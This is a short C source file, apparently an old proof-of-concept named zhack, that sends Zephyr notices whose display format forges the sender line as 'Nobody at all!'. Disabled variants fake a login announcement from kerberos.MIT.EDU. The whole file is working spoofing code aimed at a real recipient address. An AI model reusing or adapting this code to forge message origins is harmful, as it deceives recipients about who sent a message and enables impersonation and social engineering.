/* gcc -Wall -pedantic -g -I/mit/zephyr/include -I/usr/athena/include -L /usr/athena/lib -L/mit/zephyr/arch/sun4m_53/lib -o zhack zhack.c -lzephyr -lcom_err -lsocket -lnsl -lkrb -ldes
 */

#include <zephyr/mit-copyright.h>
#include <zephyr/zephyr.h>
#include <com_err.h>
#include <netdb.h>

#if 0
#define DEFAULT_CLASS "sipb"
#define DEFAULT_INSTANCE "zephyr"
#define DEFAULT_OPCODE ""
#define DEFAULT_RECIPIENT ""
#endif
#if 1
#define DEFAULT_CLASS "MESSAGE"
#define DEFAULT_INSTANCE "PERSONAL"
#define DEFAULT_OPCODE ""
#define DEFAULT_RECIPIENT "mycroft@ATHENA.MIT.EDU"
#endif
#if 0
#define DEFAULT_CLASS "login"
#define DEFAULT_INSTANCE "mycroft@athena.mit.edu"
#define DEFAULT_OPCODE "USER_LOGIN"
#define DEFAULT_RECIPIENT ""
#endif

void main(argc, argv)
     int argc;
     char *argv[];
{
  int retval;
  static ZNotice_t notice;

  if ((retval = ZInitialize()) != ZERR_NONE) {
    com_err("zhack", retval, "while initializing");
    exit(1);
  }

  /*if (argc < 2) return;*/

  notice.z_kind = ACKED;
  notice.z_port = 0;
  notice.z_class = DEFAULT_CLASS;
  notice.z_class_inst = DEFAULT_INSTANCE;
  notice.z_opcode = DEFAULT_OPCODE;
  notice.z_sender = 0;
#if 0
  notice.z_message = "Of course, if you use $default, this will show up as being authentic from nobody.";
  notice.z_message_len = 81;
#endif
#if 0
  notice.z_message = "kerberos.MIT.EDU\0Sat Aug 17 01:45:50 1996\0kerberos:0.0";
  notice.z_message_len = 54;
#endif
#if 1
  notice.z_message = "Like this...";
  notice.z_message_len = 12;
#endif
  notice.z_recipient = DEFAULT_RECIPIENT;
#if 1
  notice.z_default_format = "Class $class, Instance $instance:\nTo: @bold($recipient) at $time $date\nFrom: @bold(Nobody at all!) <nobody>\n\n$message";
#endif
#if 0
  notice.z_default_format = "Class $class, Instance $instance:\nTo: @bold($recipient) at $time $date\nFrom: @bold($1) <$sender>\n\n$body";
#endif
#if 0
  notice.z_default_format = "@center(@bold($sender) logged in\non @bold($1) on $2\nat $3\n";
#endif
  if ((retval = ZSendNotice(&notice, ZAUTH)) != ZERR_NONE) {
    com_err("zhack", retval, "while sending notice");
    return;
  }
}
